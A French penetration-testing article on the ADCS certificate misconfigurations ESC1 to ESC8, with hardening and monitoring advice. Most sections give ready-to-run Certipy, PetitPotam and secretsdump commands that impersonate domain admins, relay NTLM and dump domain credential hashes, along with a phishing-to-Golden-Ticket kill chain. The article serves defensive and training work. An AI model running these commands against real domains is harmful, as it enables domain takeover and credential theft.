ADCS Active Directory Certificate Services
les 8 misconfigurations ESC1 à ESC8 exploitables.

Note : les techniques présentées sont utilisées dans le cadre de tests d'intrusion autorisés par mandat écrit. Elles sont documentées ici à des fins éducatives et défensives.

C'est quoi ADCS et pourquoi c'est un vecteur critique ?

Active Directory Certificate Services (ADCS) est le rôle Microsoft qui permet de déployer une autorité de certification (CA) intégrée au domaine AD. En pratique, quasiment toutes les grandes organisations et un nombre croissant de PME françaises l'utilisent pour émettre des certificats X.509 utilisés en interne : authentification 802.1X, VPN, SmartCard, chiffrement email, TLS interne, code signing, EFS.

Le problème vient de la conception initiale d'ADCS : les templates de certificat sont contrôlés par des paramètres qui peuvent, s'ils sont mal configurés, permettre à un utilisateur non privilégié de demander un certificat pour un autre compte, notamment un Domain Admin. Le certificat obtenu permet ensuite de s'authentifier via Kerberos PKINIT et d'obtenir un Ticket-Granting Ticket (TGT) au nom du compte cible.

SpecterOps a publié en 2021 le whitepaper Certified Pre-Owned qui a systematisé la catégorisation des 8 chemins d'attaque ADCS, baptisés ESC1 à ESC8. Depuis, ces techniques sont largement exploitées en pentest interne et en Red Team.

Cartographie ADCS : Certipy est votre ami

L'outil de référence pour ADCS côté offensive est Certipy (github.com/ly4k/Certipy). Il permet de cartographier toute la surface ADCS d'un domaine en une commande, puis d'exploiter chaque scénario ESC directement.

# Cartographie complète : CAs, templates, ACE, misconfigurations
certipy find -u [email protected] -p Password123 -dc-ip 10.0.0.1 -vulnerable -stdout

# Sortie typique :
# [!] Vulnerabilities
#     ESC1 : "VulnTemplate01" allows Client Authentication with ENROLLEE_SUPPLIES_SUBJECT
#     ESC2 : "AnyPurpose01" has Any Purpose EKU and is enrollable by Domain Users
#     ESC4 : "MigrationTemplate" has Write DACL by "GRP_MIGRATION"
#     ESC6 : CA "CORP-CA01" has EDITF_ATTRIBUTESUBJECTALTNAME2 enabled
#     ESC8 : CA "CORP-CA01" has web enrollment enabled without Extended Protection

Cette commande produit un rapport JSON complet avec chaque template vulnérable, chaque CA misconfigurée, et pour chacun le chemin d'exploitation applicable. Le pentester enchaîne ensuite avec la commande spécifique du scenario ESC détecté.

Les 8 misconfigurations ESC1 à ESC8

ESC1 : template avec ENROLLEE_SUPPLIES_SUBJECT + Client Authentication

Ce que c'est : un template ADCS qui autorise le demandeur à spécifier lui-même le SubjectAltName (SAN) du certificat, ET qui inclut un EKU permettant l'authentification client (Client Authentication, Smart Card Logon, PKINIT). L'attaquant demande un cert au nom d'un Domain Admin, puis s'authentifie en tant que ce compte.

# Certipy req avec upn=administrateur pour se faire passer pour Domain Admin
certipy req -u [email protected] -p Password123 -dc-ip 10.0.0.1 \
  -ca CORP-CA01 -template VulnTemplate01 -upn [email protected]

# On récupère un cert et une clé privée pour "administrator"
# Ensuite auth Kerberos PKINIT pour obtenir un TGT
certipy auth -pfx administrator.pfx -dc-ip 10.0.0.1

# Puis pass-the-ticket ou secretsdump
secretsdump.py corp.local/[email protected] -k -no-pass

Impact : Domain Admin en 30 secondes.

ESC2 : template Any Purpose EKU

Ce que c'est : template dont l'EKU est "Any Purpose" (2.5.29.37.0) ou pas d'EKU du tout. Ces certificats peuvent être utilisés pour n'importe quel usage, y compris Client Authentication. Combiné à des permissions d'enrollement pour "Domain Users", chaque utilisateur peut demander un cert au nom d'un admin.

certipy req -u [email protected] -p Password123 -dc-ip 10.0.0.1 \
  -ca CORP-CA01 -template AnyPurpose01

# Le certificat obtenu peut servir à s'authentifier au domaine
# comme n'importe quel utilisateur si combiné avec une compromission

Impact : élévation de privilèges via chaining avec d'autres primitives.

ESC3 : template Enrollment Agent

Ce que c'est : un template qui inclut l'EKU "Certificate Request Agent". Ce type de certificat permet de demander des certificats au nom d'autres utilisateurs (enrollment on behalf of). Si un template Client Authentication est enrollable par "Enrollment Agent", l'attaquant devient administrateur.

# Étape 1 : demander un cert Enrollment Agent
certipy req -u [email protected] -p Password123 -dc-ip 10.0.0.1 \
  -ca CORP-CA01 -template EnrollmentAgentTemplate

# Étape 2 : utiliser ce cert pour demander un cert au nom d'admin
certipy req -u [email protected] -p Password123 -dc-ip 10.0.0.1 \
  -ca CORP-CA01 -template User \
  -on-behalf-of 'corp\administrator' -pfx attaquant.pfx

Impact : Domain Admin en 2 étapes.

ESC4 : ACE abusif sur un template

Ce que c'est : équivalent des misconfigurations d'ACL de l'article précédent, mais appliquées aux templates de certificats. Si vous avez WriteDACL ou WriteOwner sur un template, vous pouvez le modifier pour le rendre ESC1-vulnerable.

# Étape 1 : modifier le template vulnérable pour le rendre ESC1
certipy template -u [email protected] -p Password123 -dc-ip 10.0.0.1 \
  -template WeakTemplate -save-old

# Le template est maintenant vulnérable ESC1, on exploite
certipy req -u [email protected] -p Password123 -dc-ip 10.0.0.1 \
  -ca CORP-CA01 -template WeakTemplate -upn [email protected]

# Après exploitation : restaurer le template dans son état d'origine
certipy template -u [email protected] -p Password123 -dc-ip 10.0.0.1 \
  -template WeakTemplate -configuration WeakTemplate.json

Impact : Domain Admin via chaîning avec permissions AD héritées.

ESC5 : ACE abusif sur objets AD PKI

Ce que c'est : ACE abusifs sur les objets du conteneur AD PKI (CN=Configuration,DC=corp,DC=local puis CN=Services,CN=Public Key Services). Modifier ces objets permet de changer la CA officielle ou d'en ajouter une contrôlée par l'attaquant.

Plus rare mais très critique quand elle existe. Souvent héritée d'anciennes délégations d'admin PKI oubliées.

# Détection via Certipy find
certipy find -u [email protected] -p Password123 -dc-ip 10.0.0.1 -vulnerable

# Si ESC5 remonte, exploiter via modification directe de la config PKI
# (nécessite parfois BloodyAD ou ADExplorer pour ACE)

ESC6 : flag EDITF_ATTRIBUTESUBJECTALTNAME2 sur la CA

Ce que c'est : flag global sur la CA qui autorise n'importe quel demandeur à spécifier un SAN dans sa requête, y compris sur des templates qui ne le permettent pas normalement. Équivalent d'ESC1 mais généralisé à tous les templates.

Ce flag existe depuis Windows Server 2003 pour une raison légitime (compatibilité), mais activé par erreur ou par facilité, il transforme toute la CA en machine à Domain Admin.

# Vérifier le flag
certutil -config "CORP-CA01\CORP-CA" -getreg "policy\EditFlags"
# Si EDITF_ATTRIBUTESUBJECTALTNAME2 est présent, la CA est ESC6

# Exploitation identique à ESC1 mais sur N'IMPORTE QUEL template Client Auth
certipy req -u [email protected] -p Password123 -dc-ip 10.0.0.1 \
  -ca CORP-CA01 -template User -upn [email protected]

Impact : Domain Admin. Le pire des scénarios ADCS.

ESC7 : ACE abusif sur la CA elle-même

Ce que c'est : ACE ManageCA ou ManageCertificates sur la CA. ManageCA permet de re-configurer entièrement la CA (activer EDITF_ATTRIBUTESUBJECTALTNAME2 par exemple, ce qui déclenche ESC6). ManageCertificates permet d'émettre / révoquer des certificats sans passer par le processus normal.

# Détection
certipy find -u [email protected] -p Password123 -dc-ip 10.0.0.1 -vulnerable

# Si ManageCA : activer ESC6 puis exploiter
certipy ca -u [email protected] -p Password123 -dc-ip 10.0.0.1 \
  -ca CORP-CA01 -enable-EDITF_ATTRIBUTESUBJECTALTNAME2

# Puis ESC6 classique
certipy req -u [email protected] -p Password123 -dc-ip 10.0.0.1 \
  -ca CORP-CA01 -template User -upn [email protected]

Impact : Domain Admin via chaîning ESC7 -> ESC6 -> exploitation.

ESC8 : NTLM relay vers endpoint HTTP de l'ADCS

Ce que c'est : si le rôle CA Web Enrollment (endpoint HTTP http://ca.corp.local/certsrv/) est activé sur la CA sans Extended Protection for Authentication (EPA), un attaquant peut faire un NTLM relay depuis un compte machine (typiquement un DC) vers l'endpoint HTTP CA. Il demande un cert au nom de l'objet Machine relayé et obtient l'authentification.

Combiné avec PetitPotam ou PrinterBug pour forcer un DC à s'authentifier, ESC8 permet la compromission complète du domaine en une seule commande.

# Setup du relay Certipy vers l'endpoint CA
certipy relay -target http://ca.corp.local/certsrv/ -template DomainController

# Depuis un autre terminal : PetitPotam pour forcer un DC à s'authentifier
python3 PetitPotam.py -u attaquant -p Password123 -d corp.local \
  10.0.0.100 10.0.0.1

# Le relay Certipy récupère le cert pour DC01$
# On peut ensuite s'authentifier PKINIT en tant que DC01$
certipy auth -pfx dc01.pfx -dc-ip 10.0.0.1
# TGT récupéré, puis DCSync
secretsdump.py -k -no-pass -just-dc corp.local/dc01\[email protected]

Impact : Domain Admin en une seule commande + attente de 30 secondes. C'est l'attaque ADCS la plus dévastatrice observée en pentest.

Chaîner les ESC : le vrai risque en pentest réel

En pentest interne réel, on trouve rarement une seule misconfig ESC. Le pattern typique observé sur les infra AD françaises 2024-2026 : ESC8 + ESC1 + ESC4. Ci-dessous une kill chain réelle anonymisée observée récemment.

1. Foothold initial via phishing sur poste utilisateur lambda (compte marie.dupont)
2. certipy find depuis Marie : détection ESC8 sur CORP-CA01 (web enrollment sans EPA)
3. PetitPotam sur DC01 pour forcer authentification vers relay Certipy
4. Certificat DC01$ récupéré : PKINIT auth
5. DCSync avec TGT DC01$ : extraction du hash de krbtgt
6. Forge d'un Golden Ticket pour compte fictif "SuperAdmin"
7. Accès permanent au domaine

Temps total mesuré : 17 minutes depuis foothold initial. Zéro exploit CVE, uniquement des primitives ADCS mal configurées.

Comment détecter et prévenir côté défense ?

1. Audit ADCS régulier avec Certipy en mode défensif

Passer certipy find -vulnerable chaque trimestre depuis un compte administrateur, produit un rapport JSON exhaustif des ESC exploitables. Traiter par ordre de criticité : ESC1, ESC6, ESC8 en priorité (Domain Admin direct), puis ESC3, ESC4, ESC7.

2. Durcissement des templates

Pour chaque template Client Authentication, vérifier :

• ENROLLEE_SUPPLIES_SUBJECT : désactiver sauf besoin métier explicite documenté
• Any Purpose EKU : à proscrire pour les templates enrollables par des utilisateurs non-admin
• Enrollement Agent : restreindre aux comptes explicitement autorisés (jamais Domain Users)
• ACE des templates : audit type ACL/DACL (voir article précédent), aucune ACE non justifiée

3. Durcissement de la CA

Pour chaque CA du domaine :

• Désactiver EDITF_ATTRIBUTESUBJECTALTNAME2 (ESC6). Vérification :

  certutil -config "CORP-CA01\CORP-CA" -getreg "policy\EditFlags"
  # Doit ne PAS contenir EDITF_ATTRIBUTESUBJECTALTNAME2

• Désactiver le Web Enrollment (ESC8) si non nécessaire, ou activer Extended Protection for Authentication (EPA) sur IIS + désactiver NTLM sur l'endpoint /certsrv/
• Audit des ACE sur la CA elle-même : ManageCA et ManageCertificates doivent être réservés aux admins PKI dédiés

4. Surveillance active

Les événements Windows critiques à monitorer sur les CAs :

• Event ID 4886 : demande de certificat reçue
• Event ID 4887 : demande approuvée et certificat émis
• Event ID 4899-4900 : template modifié

Envoyer au SIEM et alerter sur toute demande de certificat avec SAN suspect (upn ne correspondant pas au demandeur) ou modification de template en dehors des fenêtres de changement planifiées.

Remédiation prioritaire (ordre pratique)

1. ESC6 (EDITF_ATTRIBUTESUBJECTALTNAME2) : 5 min de désactivation, gain immédiat massif
2. ESC8 (Web Enrollment) : désactiver /certsrv/ si non utilisé, sinon activer EPA
3. ESC1 (templates supply subject) : audit + durcissement templates par vagues
4. ESC4/ESC7 (ACE abusifs) : audit ACL sur templates et CAs, cleanup progressif
5. ESC2/ESC3 (Any Purpose, Enrollment Agent) : restreindre les permissions

Sur une infrastructure AD non durcie, le durcissement complet ADCS demande typiquement 3 à 6 jours de mission technique. C'est un ROI très élevé : chaque ESC corrigé enlève un chemin direct vers Domain Admin.

En résumé

ADCS est l'une des surfaces d'attaque les plus dévastatrices d'Active Directory quand elle n'est pas durcie. Les 8 scénarios ESC1 à ESC8 documentés par SpecterOps couvrent la quasi-totalité des chemins d'exploitation observés en pentest interne 2024-2026.

Contrairement aux attaques classiques (Kerberoasting, Pass-the-Hash), ADCS permet souvent une élévation de privilèges directe et rapide (5 à 20 minutes depuis un compte utilisateur lambda). Le durcissement est technique mais accessible : audit Certipy, désactivation de flags CA, cleanup des templates. Aucun outil payant n'est nécessaire.

Cet article complète notre décortique des 6 misconfigurations d'ACL/DACL Active Directory et du panorama général des attaques AD.

Outils cités

• Certipy (cartographie et exploitation ADCS)
• PetitPotam (forced auth via MS-EFSRPC)
• Certify (alternative .NET C#)
• Certified Pre-Owned whitepaper SpecterOps
• Impacket (secretsdump, gettgtpkinit)